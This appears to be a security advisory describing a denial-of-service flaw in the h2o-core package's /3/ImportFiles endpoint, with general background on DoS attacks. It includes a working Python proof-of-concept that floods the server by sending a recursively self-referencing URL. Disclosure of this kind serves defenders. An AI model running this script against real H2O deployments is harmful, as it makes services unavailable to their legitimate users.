Denial of Service (DoS) Affecting ai.h2o:h2o-core package, versions [0,]

Affected versions of this package are vulnerable to Denial of Service (DoS) via the /3/ImportFiles endpoint. An attacker can cause the server to repeatedly call its own endpoint, eventually filling up the request queue and leaving the server unable to handle other requests by recursively setting the path parameter to reference itself.

import requests

# Replace this with the address of the hosted instance
HOST_IP = "localhost"

base_string = "http://{}:54321/3/ImportFiles".format(HOST_IP)

request = base_string

# The max length of the request URI is something around 32000
acc = 0
while len(request) < 32000:
    request = request + "?path=" + base_string
    acc += 1
print("Attacker-to-server request ratio: 1 / {}".format(acc))

requests.get(request)

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

• Vulnerable Code